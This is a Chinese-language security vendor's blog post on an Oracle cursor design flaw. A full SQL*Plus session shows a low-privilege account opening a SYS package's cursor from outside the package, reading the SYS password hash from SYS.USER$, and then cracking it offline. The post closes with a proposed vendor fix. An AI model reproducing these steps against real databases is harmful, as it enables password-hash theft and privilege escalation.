數(shù)據(jù)安全治理關(guān)鍵技術(shù)之?dāng)?shù)據(jù)庫脫敏技術(shù)詳解
數(shù)據(jù)安全治理之API監(jiān)測系統(tǒng) ,解決API接口安全問題【安華金和】
新一代數(shù)據(jù)庫脫敏技術(shù),為敏感數(shù)據(jù)建立保護盾!
數(shù)據(jù)庫脫敏系統(tǒng)與金融行業(yè)案例解讀
數(shù)據(jù)安全治理建設(shè)思路的著力點——數(shù)據(jù)安全咨詢服務(wù)【安華金和】
數(shù)據(jù)庫防火墻功能有哪些?-數(shù)據(jù)安全-安華金和
數(shù)據(jù)安全關(guān)鍵技術(shù)之?dāng)?shù)據(jù)庫脫敏技術(shù)詳解【安華金和】
中國數(shù)據(jù)安全治理落地指導(dǎo)書籍《數(shù)據(jù)安全治理白皮書5.0》正式發(fā)布(附下載)
前文我們介紹了兩種Oracle游標(biāo)的數(shù)據(jù)庫安全隱患,一是利用游標(biāo)的掛起狀態(tài)進行惡意代碼注入,二是利用惡意代碼注入進行提權(quán),其實通過游標(biāo)獲取高權(quán)限賬號的密碼完全不用這么麻煩,oracle在游標(biāo)設(shè)計上本身就有安全問題。
用高權(quán)限用戶寫一個包,這個包中放入一個游標(biāo),功能和前面用的schina_test是一致的。用來取回需要檢查賬號的hash。然后和我們給出的一組預(yù)設(shè)hash做對比。低權(quán)限用戶如果知道這個游標(biāo)可以直接在包外調(diào)用該游標(biāo),從而獲取游標(biāo)中的內(nèi)容。包內(nèi)游標(biāo)可以在包外被調(diào)用,這是oracle游標(biāo)本身設(shè)計上的安全缺陷。
SQL> connect / as sysdba
已連接。
SQL> CREATE OR REPLACE PACKAGE schina AS
2 CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM SYS.USER$
3 WHERE NAME=USERNAME;
4 PROCEDURE CHECK_PASSWORD;
5 END;
6 /
程序包已創(chuàng)建。
SQL> CREATE OR REPLACE PACKAGE BODY schina AS
2 PROCEDURE CHECK_PASSWORD IS
3 PASSWORD VARCHAR2(200);
4 BEGIN
5 OPEN X (USER());
6 FETCH X INTO PASSWORD;
7 CLOSE X;
8 IF PASSWORD = '01234567890ABCDEF' THEN
9 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
10 ELSE
11 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
12 END IF;
13 END CHECK_PASSWORD;
14 END;
15 /
程序包體已創(chuàng)建。
SQL> show errors
沒有錯誤。
SQL> GRANT EXECUTE ON SYS.SCHINA TO PUBLIC;
授權(quán)成功。
通過show errors檢驗發(fā)現(xiàn)整個過程沒有X游標(biāo)掛起的問題。X游標(biāo)正常關(guān)閉了,到現(xiàn)在為止操作一切正常切換到低權(quán)限賬號
SQL> connect scott/tiger
已連接。
SQL> set serveroutput on
SQL> exec sys.schina.check_password;
YOUR PASSWORD HASH IS OK
執(zhí)行包返回的結(jié)果很安全,不會顯示出游標(biāo)內(nèi)存儲的內(nèi)容,但如果通過一個匿名塊,在包外使用游標(biāo)的結(jié)果就變得不安全了,低權(quán)限用戶可以輕易使用高權(quán)限用戶設(shè)置的游標(biāo)。通過游標(biāo)直接可以獲取到游標(biāo)中存儲的結(jié)果集。
SQL> DECLARE PASSWORD VARCHAR2(200);
2 BEGIN OPEN SYS. SCHINA.X ('SYS');
3 FETCH SYS. SCHINA.X INTO PASSWORD;
4 CLOSE SYS. SCHINA.X;
5 DBMS_OUTPUT.PUT_LINE('The SYS password is '|| PASSWORD);
6 END;
7 /
The SYS password is CF10653F66A74AC2
任何權(quán)限賬號的密碼通過這種方式都會被低權(quán)限用戶直接獲取HASH值,然后通過HASH逆向工具,獲取全部賬號的密碼。
至此我們對我們已經(jīng)分析了3種Oracle數(shù)據(jù)庫游標(biāo)帶來的安全隱患。游標(biāo)作為oracle的核心子程序,安全性十分重要。oracle的游標(biāo)雖然解決了一些問題,但安全性上還有很大問題。安華金和建議Oracle給游標(biāo)一個參數(shù),作為安全參數(shù)。默認打開安全參數(shù),當(dāng)游標(biāo)在其被定義的包外打開的時候,對游標(biāo)進行強制檢查,一旦發(fā)現(xiàn)打開該游標(biāo)的用戶權(quán)限低于創(chuàng)建游標(biāo)者的權(quán)限,則直接拋出異常,禁止打開該游標(biāo),從而保證Oracle數(shù)據(jù)庫安全性。